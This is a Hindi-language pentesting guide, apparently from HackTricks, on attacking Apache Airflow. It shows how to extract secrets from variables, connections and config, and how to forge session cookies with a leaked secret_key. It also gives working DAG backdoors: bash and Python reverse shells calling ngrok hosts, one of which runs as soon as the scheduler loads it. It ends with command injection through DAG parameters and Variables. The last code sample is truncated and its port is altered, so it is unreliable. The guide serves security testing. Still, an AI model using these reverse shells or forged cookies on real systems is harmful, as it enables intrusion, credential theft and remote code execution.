Apache Airflow Security

हैकट्रिक्स का समर्थन करें

मूल जानकारी

Apache Airflow डेटा पाइपलाइन या वर्कफ़्लो का आयोजन और अनुसूचित करने के लिए एक प्लेटफ़ॉर्म के रूप में काम करता है। डेटा पाइपलाइन के संदर्भ में "आयोजन" शब्द विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वित और प्रबंधित करने की प्रक्रिया का संकेत करता है। इन आयोजित डेटा पाइपलाइन का मुख्य उद्देश्य प्रसंस्कृत और उपभोग्य डेटा सेट प्रदान करना है। ये डेटा सेट व्यापक रूप से व्यावसायिक बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल जैसे अनेक एप्लिकेशनों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जो सभी बड़े डेटा एप्लिकेशन के कार्यान्वयन के लिए मौलिक हैं।

मुख्य रूप से, Apache Airflow आपको कोड के निष्पादन को अनुसूचित करने की अनुमति देगा जब कुछ होता है (घटना, cron)।

स्थानीय प्रयोगशाला

डॉकर-कंपोज

आप डॉकर-कंपोज विन्यास फ़ाइल का उपयोग कर सकते हैं https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml एक पूर्ण एपाचे एयरफ्लो डॉकर परिवेश लॉन्च करने के लिए। (यदि आप MacOS में हैं तो डॉकर VM को कम से कम 6GB रैम देने का सुनिश्चित करें)।

मिनीक्यूब

एक आसान तरीका एपाचे एयरफ्लो को चलाने का एक तरीका है मिनीक्यूब के साथ इसे चलाना:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow Configuration

Airflow में संवेदनशील जानकारी रखी जा सकती है या आपको कमजोर कॉन्फ़िगरेशन मिल सकती है:

Airflow Configuration

Airflow RBAC

Airflow पर हमला करने से पहले आपको समझना चाहिए अनुमतियों कैसे काम करती हैं:

Airflow RBAC

हमले

वेब कंसोल जांच

यदि आपके पास वेब कंसोल तक पहुंच है तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं:

  • चर (यहां कस्टम संवेदनशील जानकारी संग्रहित की जा सकती है)

  • कनेक्शन (यहां कस्टम संवेदनशील जानकारी संग्रहित की जा सकती है)

  • इन्हें http://<airflow>/connection/list/ में एक्सेस करें

  • कॉन्फ़िगरेशन (यहां संवेदनशील जानकारी जैसे secret_key और पासवर्ड संग्रहित की जा सकती है)

  • सूची उपयोगकर्ता और भूमिकाएँ

  • प्रत्येक DAG का कोड (जिसमें दिलचस्प जानकारी हो सकती है)

चर मानों को पुनः प्राप्त करें

चर Airflow में संग्रहित किए जा सकते हैं ताकि DAGs उनके मानों तक पहुंच सकें। यह अन्य प्लेटफ़ॉर्मों के रहस्यों के समान है। यदि आपके पास पर्याप्त अनुमतियाँ हैं तो आप उन्हें GUI में http://<airflow>/variable/list/ में एक्सेस कर सकते हैं। एयरफ्लो डिफ़ॉल्ट रूप से GUI में चर के मान को दिखाएगा, हालांकि, इस के अनुसार एक सूची चर सेट करना संभव है जिसके मान GUI में एस्ट्रिक्स के रूप में प्रकट होंगे।

हालांकि, ये मान अब भी CLI (आपको डीबी एक्सेस होना चाहिए), अर्बिट्रे DAG निष्पादन, एपीआई जो चरों के एंडपॉइंट तक पहुंचने की आवश्यकता है (एपीआई सक्रिय किया जाना चाहिए), और यहां तक कि GUI खुद से भी! उन मानों तक पहुंचने के लिए GUI से बस चरों को चुनें जिन्हें आप एक्सेस करना चाहते हैं और क्रियाएँ -> निर्यात पर क्लिक करें। एक और तरीका है गुप्त मान को प्राप्त करने के लिए ब्रूटफ़ोर्स करना जिसे आपको इसे प्राप्त होने तक खोज फ़िल्टरिंग करना होगा:

विशेषाधिकार उन्नयन

यदि expose_config कॉन्फ़िगरेशन को सच पर सेट किया गया है, उपयोगकर्ता भूमिका और ऊपर से वेब में कॉन्फ़िग पढ़ सकते हैं। इस कॉन्फ़िग में secret_key दिखाई देता है, जिसका मतलब है कि किसी भी उपयोगकर्ता के पास इस वैध वे अपना खुद का साइन कुकी बना सकते हैं और किसी अन्य उपयोगकर्ता खाता अनुकरण कर सकते हैं।

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG बैकडोर (Airflow कार्यकर्ता में RCE)

यदि आपके पास लेखन अधिकार है जहां DAGs सहेजे जाते हैं, तो आप बस एक ऐसा बना सकते हैं जो आपको रिवर्स शैल भेजेगा। ध्यान दें कि यह रिवर्स शैल एक airflow कार्यकर्ता कंटेनर के अंदर निष्पादित होगा:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG बैकडोर (Airflow स्केज्यूलर में RCE)

यदि आप किसी चीज को कोड की जड़ में निष्पादित करने के लिए सेट करते हैं, तो इस लेख के लिखने के समय पर, यह DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद स्केज्यूलर द्वारा निष्पादित किया जाएगा

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG निर्माण

यदि आप DAG क्लस्टर के अंदर की किसी मशीन को कंप्रोमाइज कर लेते हैं, तो आप dags/ फोल्डर में नए DAG स्क्रिप्ट बना सकते हैं और वे DAG क्लस्टर के अन्य मशीनों में प्रतिलिपि बन जाएंगे।

DAG कोड इंजेक्शन

जब आप GUI से DAG को निष्पादित करते हैं, तो आप इसे कोई आर्ग्यूमेंट पास कर सकते हैं। इसलिए, यदि DAG को सही ढंग से कोड नहीं किया गया है तो यह कमांड इंजेक्शन के लिए संवेदनशील हो सकता है। यही वह कारण है जो इस CVE में हुआ: https://www.exploit-db.com/exploits/49927

आपको DAGs में कमांड इंजेक्शन की खोज शुरू करने के लिए जो कुछ भी जानने की आवश्यकता है, वह यह है कि पैरामीटर को कोड के साथ dag_run.conf.get("param_name") से एक्सेस किया जाता है।

इसके अतिरिक्त, वेरिएबल्स के साथ भी एक ही संवेदनशीलता हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकारों के साथ आप GUI में वेरिएबल्स के मान को नियंत्रित कर सकते हैं)। वेरिएबल्स को इस तरह से एक्सेस किया जाता है:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

यदि वे उदाहरण के रूप में एक बैश कमांड के अंदर उपयोग किए जाते हैं, तो आप एक कमांड इंजेक्शन कार्रवाई कर सकते हैं।

हैकट्रिक्स का समर्थन करें

Last updated